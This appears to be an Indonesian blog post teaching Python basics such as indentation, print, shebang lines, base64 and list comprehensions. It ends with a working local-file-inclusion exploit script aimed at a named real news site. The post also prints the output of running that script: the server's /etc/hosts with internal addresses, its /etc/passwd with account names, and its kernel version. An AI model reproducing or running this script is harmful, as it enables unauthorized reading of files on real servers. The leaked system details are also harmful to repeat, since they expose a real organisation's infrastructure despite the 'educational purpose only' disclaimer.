Selasa, 11 Januari 2011

Belajar pemrograman Phyton

Untuk yg masih pemula mengenai bahasa pemrograman python berikut sedikit keterangan singkatnya:

1. Pengenalan bahasa pemrograman Python

Quote:
Python adalah bahasa pemrograman tingkat tinggi untuk berbagai keperluan, didesain secara khusus agar mudah dibaca, dipahami, dan digunakan. Python merupakan bahasa scripting yang simpel tapi powerfull dengan sintak yang sangat elegan dan cantik tidak kalah cantiknya dengan Ruby.
Selain itu yang menjadi bahasa pemrograman ini keren adalah sifatnya yg extensible, dan banyak sekali module dan librarynya yg bisa digunakan sesuai kebutuhan kita.

2. Cara penulisan syntax (Coding convention)

Quote:

Apabila Anda adalah seorang programmer yg sudah terbiasa dengan bahasa pemrograman C, C++, Java dkk. mungkin akan sedikit surprise, karena aturan penulisan sintak pada Python sangat berbeda, kebanyakan bahasa pemrograman menggunakan delimiter blok, sebagai contoh pada bahasa pemrograman C, C++, dan Java delimiter blok menggunakan tanda kurung kurawal '{}', contoh:

int main(int argc, char** argv)
{
return 0;
}

Begitu juga pada bahasa pemrograman prosedural, seperti Delphi, menggunakan blok BEGIN dan END.

Sedangkan Python menggunakan indentation blok yg biasanya menggunakan tab sebagai delimiternya, contoh:

Code:

def main():
return 0

tidak boleh ditulis:

Code:

def main():
return 0

Seperti sudah menjadi standar umum dalam mempelajari suatu bahasa pemrograman baru, maka cara yg paling mudah untuk dipahami adalah dengan membuat program sederhana yg hanya menampilkan teks saja, dan nge-trend dengan istilah Hello World.

buatlah file baru dengan nama helloworld.py, lalu tulislah sintak berikkut:

Code:

print "Hello world"

simpel banget kan?

sekarang jalankan file tersebut dengan cara mengetikkan pada jendela konsol:

python helloworld.py

TIPS:

kamu bisa menjalankan-nya tanpa perlu memanggil aplikasi python, dengan cara menuliskan tanda berupa tempat dimana eksekutabel python diletakkan pada bagian paling awal file, contoh:

modifikasilah isi file helloworld.py sehingga menjadi:

Code:

#!/usr/local/bin/python

print "Hello world"

nah sekarang cara menjalankannya lebih simpel:

helloworld.py

lebih simpel kan?

oia, arti tulisan '#!/usr/local/bin/python' adalah sebagai penanda dimana lokasi eksekutabel (interpreter) berada, pada contoh di atas eksekutabel berada pada direktori /usr/local/bin yg dalam hal ini kita ketahui bersama adalah path pada Unix like operating system. nah terus kalo pada Windows gimana? mudah saja, tinggal ganti path tersebut dengan path pada Windows, contoh: '#!C:/Python25/python'.

cara lain untuk mengetahui secara otomatis letak interpreter python pada OS berbasis *nix bisa seperti ini:
Code:

#!/bin/env python

instalasi python pada umumnya sudah disertai dengan library2 yang dapat dimanfaatkan untuk berbagai fungsi. untuk memanfaatkan library2 tersebut, ada berbagai macam cara, dan yang paling umum adalah menggunakan "import Nama_Library". contohnya seperti ini:
Code:

#!/bin/env python
import base64

print base64.b64encode("hello world")

sebelum menjalankan script tersebut (pada OS *nix) set dulu sebagai executable dan hasilnya seperti ini:
Code:

$ chmod +x test.py && ./test.py
aGVsbG8gd29ybGQ=

oh iya, ada 2 versi python yitu versi 2.x dan 3.x , kedua versi ini memiliki perbedaan, misalnya fungsi print
Code:

print "hello world" # python 2.x
print("hello world") # python 3.x menggunakan tanda kurung

Python bisa melakukan sesuatu yang unik, seperti single line iteration, ada beberapa metode untuk melakukan single line iteration:

sebelumnya lihat dulu contoh conventional iteration:
Code:

>>> x = [1,2,3,4,5,6]
>>> x
[1, 2, 3, 4, 5, 6]
>>> y = []
>>> for z in x:
... y.append(z)
...
>>> y
[1, 2, 3, 4, 5, 6]

kode berikut sama maksudnya dengan di atas tapi iterasinya hanya ditulis dalam satu baris:

Code:

>>> x = [1,2,3,4,5,6]
>>> x
[1, 2, 3, 4, 5, 6]
>>> y = [z for z in x]
>>> y
[1, 2, 3, 4, 5, 6]

proses iterasi terjadi pada perintah y = [z for z in x]

cara lain bisa menggunakan fungsi map (fungsi bawaan Python):

Code:

>>> x = [1,2,3,4,5,6]
>>> y = map(lambda z: z,x)
>>> y
[1, 2, 3, 4, 5, 6]

Q: Apa kelebihan menggunakan single line iteration dibanding konvensional iteration?

A: Speed, atau kecepatan dalam proses iterasi, karena single line iteration akan diproses oleh native routine dalam python yang ditulis menggunakan bahasa C.

ini ada contoh kode yang saya buat untuk eksploitasi celah kecil di sebuah situs. kode ini jalan di python v3 n merupakan contoh penggunaan library socket serta base64. semoga bermanfaat

Spoiler for sourcenya:
Code:

#!/bin/env python
#******************************************************************************
# disclaimer: FOR EDUCATIONAL PURPOSE ONLY
# keterangan: python script untuk exploitasi LFI (Local File Inclusion)
# di situs globaltv. scriptnya tidak pakai error handler :p
# script ini dibuat untuk python v3.
# lisensi : WTFPL v2 (http://sam.zoy.org/wtfpl/COPYING)
#******************************************************************************

import socket
import base64
import sys

def to_s(b):
# fungsi ini untuk mengubah bytes ke string
return bytes.decode(b)

def to_b(s):
# fungsi ini untuk mengubah string ke bytes
return str.encode(s)

def main():
while True:
# file apa yang ingin dibuka
f = input("[+] filename: ")

# cek apakah user ingin keluar
if f == "exit" or f == "quit": exit()

# buat socket dan koneksi ke situs globaltv
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("www.globaltv.co.id", 80))

# kirim request ke server :)
s.send(b"GET /v2/index.php?i=act&r=" + base64.b64encode(to_b(f)) + b" HTTP/1.1\r\nHost: www.globaltv.co.id\r\nConnection: close\r\n\r\n")

# tampilkan respon dari server
while True:
r = s.recv(1024) # terima 1024 bytes
if not r: break # jika tidak ada data, berhenti
print(to_s(r)) # tampilkan data dari server

# tutup socket
s.close()

# entry point
if __name__ == "__main__":
main()

jika dieksekusi, hasil outputnya seperti ini

Spoiler for outputnya:
Code:

$./gloit.py
[+] filename: /etc/hosts
HTTP/1.1 200 OK
Date: Sat, 27 Feb 2010 06:39:38 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=9a1e399807b09b99f751f65198e7f34c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 270
Connection: close
Content-Type: text/html
Content-Language: en

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 host-web01 localhost.localdomain localhost
::1 localhost6.localdomain6 localhost6
192.168.1.26 svn.okezone.com

202.147.200.160 sindikasi.okezone.com

[+] filename: /etc/passwd
HTTP/1.1 200 OK
Date: Sat, 27 Feb 2010 06:40:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=01ab62b6b6766eac5f859498af2dc613; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1971
Connection: close
Content-Type: text/html
Content-Language: en

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
n
scd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/s
bin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
oke:x:500:500:okezone:/home/oke:/bin/bash
apache:x:504:505:Apache Server:/dev/null:/bin/false
warno123:x:505:506::/home/warno123:/bin/bash
dadan:x:506:507::/var/www/html/client/unza/shop:/bin/bash
mysql:x:101:102:MySQL server:/var/lib/mysql:/bin/bash
ronald:x:507:508::/home/ronald:/bin/bash
devteam:x:508:509::/home/devteam:/bin/bash
dwi:x:509:510::/home/dwi:/bin/bash
glenn:x:510:511::/home/glenn:/bin/bash
glen:x:511:512::/home/glen:/bin/bash

[+] filename: /proc/version
HTTP/1.1 200 OK
Date: Sat, 27 Feb 2010 06:40:27 GMT
Server: Apache
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=dffe9143318221d43d5d56ba6f3d55f3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 153
Connection: close
Content-Type: text/html
Content-Language: en

Linux version 2.6.18-128.el5 (mockbuild@hs20-bc1-7.build.redhat.com) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-44)) #1 SMP Wed Dec 17 11:41:38 EST 2008

[+] filename: exit

$

Tidak ada komentar:

Posting Komentar